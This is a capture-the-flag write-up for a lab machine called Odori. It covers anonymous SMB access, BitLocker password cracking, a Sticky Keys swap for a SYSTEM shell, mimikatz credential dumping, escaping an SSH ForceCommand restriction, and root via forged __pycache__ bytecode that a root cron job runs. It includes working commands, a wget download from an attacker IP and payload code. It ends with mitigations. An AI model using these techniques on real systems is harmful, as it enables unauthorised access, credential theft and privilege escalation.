Summary
Odori ships as an offline forensics box: the only live services are SSH and Samba, and an anonymously readable backup share just points to a BitLocker-encrypted VMDK handed out with the machine. Cracking the BitLocker password with bitlocker2john and rockyou unlocks the disk, but getting a usable account still means booting the VM into WinRE and swapping sethc.exe for cmd.exe to get a SYSTEM shell past the Windows logon with neither account's password known. From there, mimikatz dumps NTLM hashes (a dead end against the Linux box's Samba) and then pulls a cleartext scheduled-task password for svc_backup out of Credential Manager. That account can only SFTP into the Linux target - ForceCommand blocks an interactive shell - but /opt/restrict and svc_backup's .ssh directory are both writable over SFTP, so overwriting the forced-command script gets a real bash -i. User flag comes off before the shell escape. Root is a root cron job running /opt/archiver/app.py every minute: a tar-argument-injection attempt against writable /backup fails because each file gets its own tar invocation, but /opt/archiver/__pycache__/helper.cpython-310.pyc is writable by svc_backup, so forging a .pyc with a matching (mtime, size) header and module-level payload code gets arbitrary code executed as root on the next cron tick, dropping a SUID root bash.
Table of Contents
- Reconnaissance
- Offline Disk Analysis
- Decrypting BitLocker and Booting the VM
- Credential Dumping (Windows)
- Gaining a Shell (Linux)
- User Flag
- Privilege Escalation
- Root Flag
- Attack Chain Summary
- Mitigations
- References
1. Reconnaissance
1.1 Nmap
nmap -A -Pn <machine-ip> -oN nmap-full.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 33:6a:5a:1f:35:95:4f:47:78:f4:5e:81:1b:ac:0e:af (ECDSA)
|_ 256 62:a0:e7:ec:de:21:8d:83:cd:72:cc:7b:fa:9f:7f:15 (ED25519)
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2026-10-17T14:09:51
|_ start_date: N/A
|_nbstat: NetBIOS name: ODORI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_clock-skew: 1d00h08m40s
Three open ports: 22 (OpenSSH), 139 and 445 (Samba). No web surface at all, so the SMB shares become the obvious next step.
1.2 SMB Enumeration
Checked for null/guest SMB access before anything else:
nxc smb <machine-ip> -u '' -p ''
SMB <machine-ip> 445 ODORI [*] Unix - Samba (name:ODORI) (domain:ODORI) (signing:False) (SMBv1:None) (Null Auth:True)
SMB <machine-ip> 445 ODORI [+] ODORI\:
Null auth works, so shares can be enumerated anonymously:
nxc smb <machine-ip> -u '' -p '' --shares
SMB <machine-ip> 445 ODORI Share Permissions Remark
SMB <machine-ip> 445 ODORI ----- ----------- ------
SMB <machine-ip> 445 ODORI print$ Printer Drivers
SMB <machine-ip> 445 ODORI backup READ Server Backups
SMB <machine-ip> 445 ODORI IPC$ IPC Service (odori server (Samba, Ubuntu))
backup is world-readable:
smbclient //<machine-ip>/backup -N
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jun 25 18:49:15 2025
.. D 0 Fri Apr 24 17:29:37 2026
info.txt N 66 Wed Jun 25 18:48:44 2025
7533016 blocks of size 1024. 2864352 blocks available
smb: \> get info.txt
getting file \info.txt of size 66 as info.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
cat info.txt
Please download the .vmdk file linked in the machine description.
A single hint file pointing away from the live target entirely - the actual entry point is an offline forensics exercise against a provided disk image, not a live network service.
2. Offline Disk Analysis
The provided download is a large 7z archive (~19 GiB) containing a single .vmdk.
7z e odori.7z
7-Zip 26.01 (x64) : Copyright (c) 1999-2026 Igor Pavlov : 2026-04-27
Scanning the drive for archives:
1 file, 19795590292 bytes (19 GiB)
Extracting archive: odori.7z
Enter password (will not be echoed):
--
Everything is Ok
file file02.vmdk
file02.vmdk: VMware4 disk image
2.1 Sanity-checking the disk image
Worth validating before spending time analyzing a 19 GiB file that might just be corrupted:
qemu-img info file02.vmdk
image: file02.vmdk
file format: vmdk
virtual size: 20 GiB (21474836480 bytes)
disk size: 18.7 GiB
cluster_size: 65536
Format specific information:
cid: 3024510711
parent cid: 4294967295
create type: monolithicSparse
qemu-img check file02.vmdk
No errors were found on the image.
-
monolithicSparse- single-file VMDK, no split extents to track down. -
parent cid: 4294967295(0xFFFFFFFF) - no parent/base disk. Standalone image, not a snapshot delta waiting on a missing base. - Virtual size 20 GiB vs. 18.7 GiB on disk - consistent with what was extracted.
sha256sum file02.vmdk
e7b487e41937da6b6a5875867cf92a2c4f90bbcc32f61795c019e35f2db8a631 file02.vmdk
2.2 Identifying the OS and filesystem layout
virt-filesystems --long -h --all -a file02.vmdk
Name Type VFS Label MBR Size Parent
/dev/sda1 filesystem vfat - - 96M -
/dev/sda4 filesystem ntfs - - 524M -
/dev/sda1 partition - - - 100M /dev/sda
/dev/sda2 partition - - - 16M /dev/sda
/dev/sda3 partition - - - 19G /dev/sda
/dev/sda4 partition - - - 524M /dev/sda
/dev/sda device - - - 20G -
virt-ls -a file02.vmdk -m /dev/sda1 -R /
EFI
EFI/Boot/bootx64.efi
EFI/Microsoft/Boot/...
System Volume Information
EFI System Partition plus a Microsoft Boot Manager layout - this confirms a Windows guest. The large 19 GB /dev/sda3 partition (unidentified filesystem type to virt-filesystems) is the OS volume, and turns out to be BitLocker-encrypted.
3. Decrypting BitLocker and Booting the VM
3.1 Building the analysis VM
VMware Workstation, custom build pointed directly at the extracted VMDK:
-
File -> New Virtual Machine-> Custom (advanced) - Hardware compatibility: default
- Guest OS install: "I will install the operating system later"
- Guest OS: Windows 10/11 x64 (closest match to the modern EFI bootloader seen earlier; refine later if it turns out to be Server)
- Name/location: anywhere with enough free space for VM config files (the VMDK stays referenced in place)
- CPU/memory: defaults
- Network Type: Host-only - set this now, before first boot, to keep the box isolated
- I/O controller / disk type: defaults
-
Select a Disk -> Use an existing virtual disk -> browse to
file02-working.vmdk(work on a copy, never the original). Accept any "needs to be converted" prompt only if required. - Finish
- Before powering on: confirm Network Adapter is Host-only, and Hard Disk points at the working copy.
- Power on -> if prompted "did you copy or move this VM," choose I copied it.
Powering on this VM is where the BitLocker protection first became visible - the boot immediately stops at a password prompt instead of reaching a Windows logon screen.
3.2 Cracking the BitLocker hash
john ships a native BitLocker hash extractor, run back on the host against the original VMDK:
bitlocker2john -i file02.vmdk > vm-hash
cat vm-hash
Encrypted device file02.vmdk opened, size 19122MB
...
$bitlocker$0$16$b303ee2dfde14680034ffeeb510b5d65$1048576$12$e0ff381f1d64db010c000000$60$...
Hash type: User Password with MAC verification (slower solution, no false positives)
$bitlocker$1$... Hash type: Recovery Password fast attack
$bitlocker$2$... Hash type: Recovery Password with MAC verification (slower solution, no false positives)
$bitlocker$3$... Hash type: Recovery Password with MAC verification (slower solution, no false positives)
john --wordlist=/usr/share/wordlists/rockyou.txt vm-hash
Note: This format may emit false positives, so it will keep trying even after finding a possible candidate.
Loaded 2 password hashes with 2 different salts (BitLocker, BitLocker [SHA-256 AES 32/64])
123456789 (?)
123456789 (?)
BitLocker password cracked: 123456789. Entering this at the VM's BitLocker prompt unlocks the volume and lets the boot continue - but it still doesn't give us a Windows account (Administrator / svc_backup) to log in as, since we still don't know either account's Windows password. For that, a privilege escalation path is needed once inside the guest.
3.3 Bypassing the Windows logon with a recovery environment
To get a SYSTEM-level shell without knowing either account's Windows password, boot into WinRE from an installation ISO and patch Sticky Keys.
Attach the ISO (VM powered off): Settings -> CD/DVD (SATA) -> Use ISO Image file -> browse to a Windows installation ISO -> check Connect at power on.
Boot to firmware and select the CD-ROM: Power On -> Power On to Firmware -> Boot Manager -> select EFI VMware Virtual SATA CDROM Drive (1.0).
The ISO's Windows Setup loads. Pick language/keyboard defaults and click Next:
On the install screen, don't click Install now - use the recovery link in the bottom-left instead:
This drops into WinRE. Click Troubleshoot:
Then Command Prompt:
Identify and unlock the BitLocker volume from the recovery shell:
X:\Sources>diskpart
DISKPART> list volume
Volume ### Ltr Label Fs Type Size Status Info
---------- --- ----------- ----- ---------- ------- --------- --------
Volume 0 D ESD-ISO UDF DVD-ROM 4667 MB Healthy
Volume 1 Unkno Partition 19 GB Healthy
Volume 2 FAT32 Partition 100 MB Healthy Hidden
Volume 3 NTFS Partition 524 MB Healthy Hidden
DISKPART> select volume 1
DISKPART> assign letter=E
DISKPART> exit
Volume 1 (the 19 GB target) reads as Unkno filesystem until unlocked - a BitLocker-locked NTFS volume shows as unrecognized to tools that can't decrypt it on the fly.
X:\Sources>manage-bde -unlock E: -pw
Enter the password to unlock this volume: [BitLocker password]
The password successfully unlocked volume E:.
X:\Sources>dir E:
01/11/2025 05:23 AM <DIR> Config
01/11/2025 05:33 AM <DIR> Data
01/11/2025 05:32 AM <DIR> Program Files
01/11/2025 05:29 AM <DIR> Scripts
01/08/2025 09:05 AM <DIR> Users
10/16/2026 08:30 PM <DIR> Windows
Swap sethc.exe for cmd.exe - the classic Sticky Keys privesc:
X:\Sources>copy E:\Windows\System32\sethc.exe E:\Windows\System32\sethc.exe.bak
1 file(s) copied.
X:\Sources>copy E:\Windows\System32\cmd.exe E:\Windows\System32\sethc.exe
Overwrite E:\Windows\System32\sethc.exe? (Yes/No/All): Y
1 file(s) copied.
Disconnect the ISO and reboot into the normal Windows logon screen. Pressing Shift x5 at the logon screen now launches a SYSTEM-privileged cmd.exe in place of the Sticky Keys dialog - full SYSTEM access with neither account's Windows password:
From this SYSTEM prompt, the Administrator password can simply be reset:
net user Administrator Password123
4. Credential Dumping (Windows)
4.1 Local hashes via mimikatz
C:\Temp>.\mimikatz.exe
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # token::elevate
-> Impersonated !
* Thread Token : {0;000003e7} NT AUTHORITY\SYSTEM
mimikatz # lsadump::sam
Recovered NTLM hashes:
Administrator:58a478135a93ac3bf058a5ea0e8fdb71
svc_backup:be3071bd4cce75e2bbd3c79c7ec5380e
WDAGUtilityAccount:63d7c1f6a1a8378eba2ee87246bf7140
Pass-the-hash against the Linux target's Samba service only authenticates as Guest - Samba doesn't trust these as domain creds for anything useful here:
nxc smb <machine-ip> -u svc_backup -H be3071bd4cce75e2bbd3c79c7ec5380e
SMB <machine-ip> 445 ODORI [+] ODORI\svc_backup:be3071bd4cce75e2bbd3c79c7ec5380e (Guest)
nxc smb <machine-ip> -u Administrator -H 58a478135a93ac3bf058a5ea0e8fdb71
SMB <machine-ip> 445 ODORI [+] ODORI\Administrator:58a478135a93ac3bf058a5ea0e8fdb71 (Guest)
So the NTLM hashes aren't the way in - the real credential is elsewhere on disk.
4.2 Finding a cleartext password in Credential Manager
C:\Scripts\backup.ps1 references svc_backup connecting to odori.vl via SFTP, with the password redacted in the script itself (shown only as ***). Since the script runs as a scheduled task, Windows has to store the running account's password somewhere to authenticate non-interactively at run time - Credential Manager's Windows Credentials vault is the usual place for this.
mimikatz # vault::list
Vault : {77bc582b-f0a6-4e15-4e80-61736b6f3b29}
Name : Windows Credentials
Items (1)
0. (null)
Ressource : [STRING] Domain:batch=TaskScheduler:Task:{EB952370-3B64-45F3-814D-6F47F413A8D8}
Identity : [STRING] FILE02\svc_backup
*** Domain Password ***
vault::list shows the entry exists but doesn't reveal the password itself - vault::cred /patch decrypts and dumps it:
mimikatz # vault::cred /patch
TargetName : Domain:batch=TaskScheduler:Task:{EB952370-3B64-45F3-814D-6F47F413A8D8} / <NULL>
UserName : FILE02\svc_backup
Type : 2 - domain_password
Credential : Napping2Curator
Recovered credential: svc_backup / Napping2Curator
5. Gaining a Shell (Linux)
5.1 SSH authenticates but hangs
ssh svc_backup@<machine-ip> -v
...
debug1: Next authentication method: password
svc_backup@<machine-ip>'s password:
Authenticated to <machine-ip> ([<machine-ip>]:22) using "password".
debug1: Entering interactive session.
debug1: pledge: fork
Authentication succeeds, but the session never produces a shell prompt - it just hangs. This pointed at a server-side restriction rather than a credential problem, so the obvious workaround is to try a different SSH subsystem: SFTP (also over port 22) is mentioned in the backup script, so test that first.
5.2 SFTP works
sftp svc_backup@<machine-ip>
svc_backup@<machine-ip>'s password:
Connected to <machine-ip>.
sftp> ls -la
drwxr-x--- 5 svc_backup svc_backup 4096 Apr 6 2026 .
drwxr-xr-x 4 root root 4096 Jan 11 2025 ..
lrwxrwxrwx 1 root root 9 Apr 6 2026 .bash_history
-rw-r--r-- 1 svc_backup svc_backup 220 Jan 11 2025 .bash_logout
-rw-r--r-- 1 svc_backup svc_backup 3771 Jan 11 2025 .bashrc
drwx------ 2 svc_backup svc_backup 4096 Jan 11 2025 .cache
drwxrwxr-x 3 svc_backup svc_backup 4096 Jan 15 2025 .local
-rw-r--r-- 1 svc_backup svc_backup 807 Jan 11 2025 .profile
drwxr-xr-x 2 svc_backup svc_backup 4096 Jan 11 2025 .ssh
-rw-r----- 1 root svc_backup 33 Oct 18 02:59 user.txt
5.3 Diagnosing the restricted shell
Pulled the SSH server config to understand why the interactive session hangs:
sftp> get /etc/ssh/sshd_config
cat sshd_config
...
Match group svc_backup
#ChrootDirectory /backup
ForceCommand /opt/restrict /home/%u
AllowTcpForwarding no
svc_backup falls under this Match group block, and ForceCommand overrides whatever command the client requests - that's why the interactive shell never materializes. The forced command itself:
sftp> get /opt/restrict
cat restrict
#!/bin/bash
/usr/lib/openssh/sftp-server -d $1
It just re-execs the SFTP server, which is why SFTP worked but an interactive shell didn't - the account is wired to only ever get SFTP.
5.4 Escaping the restricted shell
Two things make the bypass possible:
-
/opt/restrictis group/other-writable (-rwxrwxr-x, owned bysvc_backup:root) - the exact file SSH forces as the login command can be overwritten. -
svc_backup's own.sshdirectory is writable over SFTP, so a public key can be dropped in for key-based auth.
Add our public key:
cat ~/.ssh/id_ed25519.pub >> authorized_keys
# on sftp
put authorized_keys /home/svc_backup/authorized_keys
Replace the forced command with a real shell:
cat > restrict_new << 'EOF'
#!/bin/bash
/bin/bash -i
EOF
chmod +x restrict_new
# on sftp
put restrict_new /opt/restrict
Connect with an interactive shell:
ssh -i ~/.ssh/id_ed25519 svc_backup@<machine-ip>
svc_backup@odori:~$ whoami
svc_backup
svc_backup@odori:~$ id
uid=1001(svc_backup) gid=1001(svc_backup) groups=1001(svc_backup)
svc_backup@odori:~$ sudo -l
[sudo] password for svc_backup:
Sorry, user svc_backup may not run sudo on odori.
No sudo rights - privilege escalation has to come from somewhere else on the box.
6. User Flag
Grabbed via SFTP, before the shell escape above:
sftp> get user.txt
Fetching /home/svc_backup/user.txt to user.txt
user.txt 100% 33 0.0KB/s 00:00
cat user.txt
REDACTED
7. Privilege Escalation
7.1 Enumeration
svc_backup@odori:~$ find / -perm -4000 2>/dev/null
...
-rwsr-xr-x 1 root root 31K Apr 10 2026 /usr/bin/pkexec ---> Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)/Generic_CVE-2021-4034
All SUID binaries are patched against their known CVEs - nothing usable there. Crontabs and timers visible to the user showed nothing either, so the next step was to pull linpeas.sh and pspy64 to look for privileged activity invisible from a normal user's view (cron jobs running as root in particular don't show up in a user's own crontab -l).
svc_backup@odori:~$ wget http://<attacker-ip>/linpeas.sh
svc_backup@odori:~$ wget http://<attacker-ip>/pspy64 && chmod +x pspy64 && ./pspy64
pspy64 caught a root-owned process firing every minute:
2026/10/18 07:37:01 CMD: UID=0 PID=67651 | python3 /opt/archiver/app.py
2026/10/18 07:37:01 CMD: UID=0 PID=67650 | /bin/sh -c python3 /opt/archiver/app.py
7.2 The archiver script
/opt/archiver - already noted earlier over SFTP but not yet connected to a cron job:
svc_backup@odori:~$ ls -la /opt/archiver/
total 20
drwxr-xr-x 3 root root 4096 Apr 24 11:59 .
drwxr-xr-x 3 root root 4096 Apr 24 11:59 ..
-rw-r--r-- 1 root root 812 Jan 11 2025 app.py
-rw-r--r-- 1 root root 412 Jan 16 2025 helper.py
drwxr-xrwx 2 root root 4096 Oct 18 08:10 __pycache__
# app.py
import os
from datetime import datetime, timedelta
from helper import tar_and_move_files
backup_dir = '/backup'
archive_dir = '/archive'
threshold_date = datetime.now() - timedelta(days=3*365)
def scan_and_archive_files():
if not os.path.exists(archive_dir):
os.makedirs(archive_dir)
for root, dirs, files in os.walk(backup_dir):
for file in files:
file_path = os.path.join(root, file)
file_mod_time = datetime.fromtimestamp(os.path.getmtime(file_path))
if file_mod_time < threshold_date:
print(f'Moving {file_path} to archive...')
tar_and_move_files(file_path, archive_dir)
else:
print(f'{file_path} is not old enough to archive.')
if __name__ == '__main__':
scan_and_archive_files()
# helper.py
import os
import subprocess
from datetime import datetime
def tar_and_move_files(file_path, archive_dir):
current_date = datetime.now().strftime('%Y-%m-%d')
tar_filename = os.path.join(archive_dir, f'{current_date}_{os.path.basename(file_path)}.tar.gz')
subprocess.Popen(["/usr/bin/tar", "-czf", tar_filename, "-C", os.path.dirname(file_path), os.path.basename(file_path)])
os.remove(file_path)
Two separate weaknesses jump out:
| # | Weakness | Where |
|---|---|---|
| 1 |
tar is invoked with a filename taken straight from /backup, with no sanitization |
helper.py -> tar_and_move_files()
|
| 2 |
__pycache__ is world-writable (drwxr-xrwx), and the cached bytecode file inside it is owned by svc_backup
|
/opt/archiver/__pycache__/ |
/backup itself is also writable by svc_backup (confirmed via linpeas and by the earlier SMB backup share), so both paths are reachable.
7.3 Attempt 1: tar argument injection (failed)
The idea: drop a filename in /backup, aged past the 3-year threshold, crafted so tar parses it as an option instead of a filename - classic GTFOBins-style tar argument injection.
cd /backup
touch -d "4 years ago" -- "--checkpoint=1"
touch -d "4 years ago" -- "--checkpoint-action=exec=sh shell.sh"
This doesn't work here. app.py calls tar_and_move_files() once per file found by os.walk(), and each call spawns its own separate tar process with a single filename argument:
subprocess.Popen(["/usr/bin/tar", "-czf", tar_filename, "-C", dirname, basename])
So --checkpoint=1 and --checkpoint-action=... land in two unrelated tar invocations, never together on the same command line. --checkpoint alone is harmless (just prints progress), so nothing fires. Confirmed manually:
/usr/bin/tar -czf /tmp/test1.tar.gz -C /home/svc_backup -- "--checkpoint=1"
# exit code: 0, archive created normally - no injection possible this way
A single self-contained option like --use-compress-program=/path/to/script would work in principle, since it needs no pairing with a second argument - but the __pycache__ write primitive below was already confirmed and is more deterministic, so that became the actual exploitation path.
7.4 Attempt 2: __pycache__ bytecode poisoning (successful)
Python's import system trusts a cached .pyc file over recompiling its matching .py source whenever the .pyc's embedded header - specifically the source file's (mtime, size) - matches the real source file on disk. There's no cryptographic integrity check on cached bytecode. Since helper.cpython-310.pyc was owned by and writable by svc_backup, a forged .pyc with a header matching the real helper.py would be loaded and executed as-is by root's cron job, without the actual helper.py source ever being touched.
(See Section 10 - References for background on this technique.)
Step 1 - capture the real source file's mtime/size, needed so the forged header validates:
REAL_MTIME=$(stat -c '%Y' /opt/archiver/helper.py)
REAL_SIZE=$(stat -c '%s' /opt/archiver/helper.py)
Step 2 - write a malicious helper.py. The payload has to sit at module scope, not inside tar_and_move_files() - the function body only runs if app.py actually calls it, which requires a qualifying file in /backup. Module-level code runs unconditionally the instant the module is imported, which happens on every single cron tick regardless of /backup's contents:
import os, subprocess
from datetime import datetime
try:
os.system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash")
except Exception:
pass
def tar_and_move_files(file_path, archive_dir):
current_date = datetime.now().strftime('%Y-%m-%d')
tar_filename = os.path.join(archive_dir, f'{current_date}_{os.path.basename(file_path)}.tar.gz')
subprocess.Popen(["/usr/bin/tar", "-czf", tar_filename, "-C", os.path.dirname(file_path), os.path.basename(file_path)])
os.remove(file_path)
An earlier attempt placed the
os.system(...)call inside the function body and produced no result - it silently waited on a qualifying/backupfile that never arrived. Moving it to module scope fixed this.
Step 3 - compile, then patch the header's size field. py_compile stamps the local file's own mtime/size by default; the mtime is made correct up front by touching the source file, but the size still has to be patched manually to match the real helper.py on the target:
touch -d @$REAL_MTIME helper.py
python3 -m py_compile helper.py
python3 - << EOF
import struct
pyc_path = "__pycache__/helper.cpython-310.pyc"
with open(pyc_path, "r+b") as f:
data = bytearray(f.read())
struct.pack_into("<I", data, 12, $REAL_SIZE & 0xFFFFFFFF)
f.seek(0)
f.write(data)
EOF
Step 4 - drop it into the real cache directory and wait for the next cron tick:
cp __pycache__/helper.cpython-310.pyc /opt/archiver/__pycache__/helper.cpython-310.pyc
watch -n 5 'ls -la /tmp/rootbash 2>/dev/null'
Within 60 seconds:
svc_backup@odori:/tmp/poison$ ls -la /tmp/rootbash
-rwsr-xr-x 1 root root 1396520 Oct 18 09:42 /tmp/rootbash
svc_backup@odori:/tmp/poison$ /tmp/rootbash -p
rootbash-5.1# id
uid=1001(svc_backup) gid=1001(svc_backup) euid=0(root) groups=1001(svc_backup)
7.5 Automating the exploit
A general-purpose version of steps 2-4 above is included in this repo as pycache_poison.py. It builds the malicious module, compiles it, patches the header to match an arbitrary real source file, and writes the result to a target __pycache__ path in one shot:
python3 pycache_poison.py \
--source /opt/archiver/helper.py \
--target-pyc /opt/archiver/__pycache__/helper.cpython-310.pyc \
--payload "os.system('cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash')" \
--keep-func tar_and_move_files
--keep-func regenerates a harmless no-op stub for any function the privileged script imports from the module (here, tar_and_move_files), so app.py keeps running cleanly while the payload fires unconditionally on import.
8. Root Flag
rootbash-5.1# cd /root
rootbash-5.1# ls
root.txt snap
rootbash-5.1# cat root.txt
REDACTED
9. Attack Chain Summary
Odori
│
├─ Recon
│ ├─ Nmap: SSH (22), Samba (139/445) only - no web surface
│ ├─ SMB null session -> anonymous access to `backup` share
│ └─ info.txt -> hint: "download the .vmdk file"
│
├─ Offline Disk Analysis
│ ├─ Extract 7z -> file02.vmdk (19 GiB)
│ ├─ qemu-img info/check -> valid, standalone, monolithicSparse
│ └─ virt-filesystems / virt-ls -> Windows (EFI + MS Boot Manager), sda3 = BitLocker volume
│
├─ BitLocker Bypass
│ ├─ bitlocker2john -> hash extracted
│ └─ john + rockyou -> password cracked: 123456789
│
├─ Windows Access (SYSTEM)
│ ├─ Boot VM in VMware (host-only network) -> BitLocker unlock works, but no Windows creds
│ ├─ Boot to firmware -> installation ISO -> WinRE -> Command Prompt
│ ├─ diskpart -> unlock volume with manage-bde -unlock
│ ├─ Swap sethc.exe <-> cmd.exe (Sticky Keys)
│ └─ Reboot -> Shift x5 at logon -> SYSTEM cmd.exe
│
├─ Credential Access
│ ├─ mimikatz lsadump::sam -> NTLM hashes (Administrator, svc_backup)
│ │ └─ Pass-the-hash vs Samba -> Guest only (dead end)
│ └─ mimikatz vault::cred /patch -> cleartext scheduled-task password
│ └─ svc_backup : Napping2Curator
│
├─ Linux Shell Access
│ ├─ ssh svc_backup -> authenticates but hangs (ForceCommand)
│ ├─ sftp svc_backup -> works; sshd_config confirms Match group + ForceCommand /opt/restrict
│ ├─ Weaknesses: /opt/restrict writable, .ssh writable over SFTP
│ ├─ Upload SSH pubkey + overwrite /opt/restrict with `/bin/bash -i`
│ └─ ssh -i key svc_backup -> interactive shell (no sudo rights)
│
├─ User Flag
│ └─ Read via SFTP before the shell escape
│
├─ Privilege Escalation
│ ├─ Enumeration
│ │ ├─ SUID binaries all patched (pkexec etc.) - dead end
│ │ └─ pspy64 -> root cron: python3 /opt/archiver/app.py (every minute)
│ │
│ ├─ Attempt 1: tar argument injection - FAILED
│ │ └─ One tar process per file -> injected flags never land together
│ │
│ └─ Attempt 2: __pycache__ bytecode poisoning - SUCCESS
│ ├─ helper.cpython-310.pyc writable by svc_backup
│ ├─ Forge .pyc: module-level payload + header (mtime, size) matching real helper.py
│ ├─ Drop into /opt/archiver/__pycache__/
│ └─ Next cron tick -> payload runs as root -> SUID /tmp/rootbash
│
└─ Root Flag
└─ /tmp/rootbash -p -> root shell -> cat /root/root.txt
10. Mitigations
| Weakness | Fix |
|---|---|
BitLocker protected by a weak, rockyou-crackable password (123456789) |
Enforce a strong passphrase or TPM-backed key policy; don't rely on a user password alone for at-rest encryption |
| Local Administrator/recovery access obtainable via WinRE + Sticky Keys binary swap | Disable boot-to-WinRE/external-media recovery where not needed, or enforce BitLocker pre-boot authentication so the OS volume can't be mounted from an offline recovery shell at all; Secure Boot + a signed boot chain also blocks the sethc.exe swap |
Cleartext scheduled-task password recoverable from Credential Manager via vault::cred /patch
|
Avoid storing passwords for scheduled/service accounts in the Windows Credentials vault; use a gMSA, a Windows service account with no interactive logon, or a secrets manager instead |
SMB backup share readable via anonymous/null session |
Disable SMB null sessions / guest access; require authentication on every share, even "informational" ones |
ForceCommand /opt/restrict relied on for shell restriction, but the script itself and .ssh are writable by the restricted account |
Restricted shells must not be writable by the account they restrict; ship them root-owned and read-only (0755 root:root), and lock down ~/.ssh similarly or disable key-based auth for that account entirely |
/opt/archiver/__pycache__ world-writable, with a .pyc owned by the low-privileged service account |
Never let an unprivileged account own or write into a privileged process's __pycache__; run python3 -B (or set PYTHONDONTWRITEBYTECODE=1) for privileged scripts, or ship pre-compiled bytecode owned by root with a root-only cache directory |
app.py/helper.py run unsanitized filenames from a world-writable /backup directly into tar
|
Don't pass user-controlled filenames straight into tar's argument list; use tar -- with validated/sanitized names, or call tarfile from Python instead of shelling out |
Root cron job runs code out of a directory (/opt/archiver) with any component writable by a non-root account |
Principle of least privilege for cron/scheduled jobs: the entire execution path (script, imports, cache, working directory) should be root-owned and non-writable by the account that triggers or feeds it data |
11. References
-
Python Cache Poisoning - PrivEsc - Linux (Hardsoft Security) - background and manual exploitation steps for the
__pycache__bytecode-poisoning technique used in Section 7.4 -
pycache_poison.py- this repo's reusable script automating the technique (Section 7.5)








Top comments (0)